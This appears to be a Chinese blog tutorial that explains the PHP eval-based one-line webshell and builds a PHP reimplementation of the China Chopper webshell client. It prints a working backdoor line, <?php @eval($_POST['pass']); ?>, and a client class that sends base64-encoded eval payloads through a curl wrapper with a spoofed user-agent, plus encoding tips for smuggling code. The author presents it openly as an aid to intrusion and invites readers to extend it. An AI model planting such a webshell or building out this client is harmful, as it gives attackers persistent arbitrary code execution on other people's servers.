MENU

php一句话木马深度解析

• February 29, 2020 • 教程

什么是一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。我们可以利用一句话木马来对主机进行渗透操作,最常见的工具就是号称黑客之刃中国菜刀。这里我们主要讲解php一句话木马,因为别的语言我也不会啊。

一句话木马示例

<?php @eval($_POST['pass']); ?>

一句话木马原理

在这里我们可以看到他的核心参数就是eval函数,这个eval函数是干嘛的呢,我们通过php官网的文档可以得到以下信息。

//(PHP 4, PHP 5, PHP 7)
eval ( string $code ) : mixed //把字符串作为PHP代码执行

显然,原理已经很明了了,把字符串当做php代码来执行,再看一句话木马中eval函数传入的字符串是什么,他没有传入字符串,它传入的是一个自定义变量,$_POST,其实这里不止可以传入$_POST,任何字符串都是可以传入的。
比如说我们传入$_GET['a']变量,这个文件名咱们假设是test.php,那么我们只要访问test.php?a=要执行的代码就可以来执行任何代码了。

中国菜刀功能的实现

我们前面说过了,一句话木马最常见的利用工具是中国菜刀,那么我们已经知道原理了,是不是也可以自己写一个呢,答案是肯定的,接下来我将介绍如何实现中国菜刀的功能

Part 1.创建一个CaiDao类,并写好构造函数

<?php
/**
 * 中国菜刀功能实现
 */
class CaiDao
{
    public $url;
    public $pass;
    public $method;

    /**
     * 构造函数
     * @param string $url    连接地址
     * @param string $pass   连接密码
     * @param string $method 提交方式
     */
    public function __construct($url, $pass, $method = 'post')
    {
        $this->url    = $url;
        $this->pass   = $pass;
        $this->method = $method;
    }
}

Part 2.声明一个Curl网络访问函数,具体代码参考此处

/**
 * curl最完整封装
 * @param String $url要请求的连接,支持https
 * @param integer $postpost参数
 * @param integer $refererurl来源
 * @param integer $cookiecookie
 * @param integer $header是否显示响应头
 * @param integer $ua自定义ua头
 * @param integer $nobody是否显示响应体
 * @return String响应的结果
 */
private function curl($url, $post = 0, $referer = 0, $cookie = 0, $header = 0, $ua = 0, $nobody = 0)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $httpheader[] = "Accept:*/*";
    $httpheader[] = "Accept-Encoding:gzip,deflate,sdch";
    $httpheader[] = "Accept-Language:zh-CN,zh;q=0.8";
    $httpheader[] = "Connection:close";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
    if ($post) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    if ($header) {
        curl_setopt($ch, CURLOPT_HEADER, true);
    }
    if ($cookie) {
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }
    if ($referer) {
        curl_setopt($ch, CURLOPT_REFERER, $referer);
    }
    if ($ua) {
        curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    } else {
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0");
    }
    if ($nobody) {
        curl_setopt($ch, CURLOPT_NOBODY, 1);
    }
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $ret = curl_exec($ch);
    curl_close($ch);
    return $ret;
}

Part 3.声明一个connect函数,来测试是否可以连接

/**
 * 测试连接
 * @return boolean 连接结果:true/false
 */
function connect()
{
    if ($this->method == "get") {
        $result = $this->get_curl($this->url . '?' . $this->pass . "=eval(base64_decode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));");
        $return = mb_substr($result, (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>")), (mb_strpos($result, "</moleft>") - (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>"))));
    } elseif ($this->method == "post") {
        $result = $this->get_curl($this->url, $this->pass . "=eval(base64_decode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));");
        $return = mb_substr($result, (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>")), (mb_strpos($result, "</moleft>") - (mb_strpos($result, "<moleft>") + mb_strlen("<moleft>"))));
    } else {
        return false;
    }
    if ($return == "success") {
        return true;
    } else {
        return false;
    }
}

Part 4.大功告成,使用示例如下

<?php
$url = 'http://127.0.0.1/index.php'; //一句话木马所在文件,一定要带文件后缀
$pass = 'pass'; //$_POST 或 $_GET 键名
$method = 'post'; //get 或post
//实例化中国菜刀对象
$caidao = new CaiDao($url,$pass,$method);
//测试连接,可以改成你的业务逻辑,成功true,失败false
var_dump($caidao->connect());

这里只实现了一个连接的功能,如果想实现更多功能可以自己写。

Part 5.敲黑板,画重点

1.执行的代码尽量用base64加密,不然提交的时候容易出错

eval(base64_decode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));

密文是:ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D
这里先用了urlencode,然后在base64_encode

//解密示例
base64_decode(urldecode('ZWNobyAnPG1vbGVmdD5zdWNjZXNzPC9tb2xlZnQ%2BJzs%3D'));

但其实实际中我们不需要urldecode,因为提交后会自动解码,你可能会问为什么要urlcode,那是因为base64加密后会出现加号(+),浏览器会把它当成空格来处理,所以我们要套一层urlencode。

2.在获取返回结果的时候,一定要加上自己的标识,不然的话没法判断,我们把上面那个字符串解密之后的结果是

echo '<moleft>success</moleft>';

我们需要加上类似于<moleft></moleft>这样的标记,等取到返回值,再利用下面的代码来获取我们想要的返回值

mb_substr( $result , (mb_strpos($result,"<moleft>") + mb_strlen("<moleft>")) ,(mb_strpos($result,"</moleft>") - (mb_strpos($result,"<moleft>") + mb_strlen("<moleft>"))));

如果你看懂了以上所说的,那么恭喜你,你可以按照这个思路来实现更多的功能。在这里就不一一示范了。

末尾的话

本来今天想多分享几篇来着,但是我家宽带不知道抽什么风,除了我的网站之外其他的网站都可以访问,一到我的网站就提示ERR_CONNECTION_RESET,,所以说整篇文章我都是在离线状态下打的,生怕一个刷新就白写了。
如果你还有什么不明白的,可以参考以下资料

不说了,用手机传完这篇文章就睡觉去了,如果有什么想法可以在评论区留言,源码以后再放出来

Last Modified: May 26, 2020
Archives 下载海报
QR Code for this page
Tipping QR Code
Leave a Comment

2 Comments
  1. 网络不好,这篇文章来来回回修改了很多次

    1. qishao

      @MoLeft可以把web源码分享一下吗?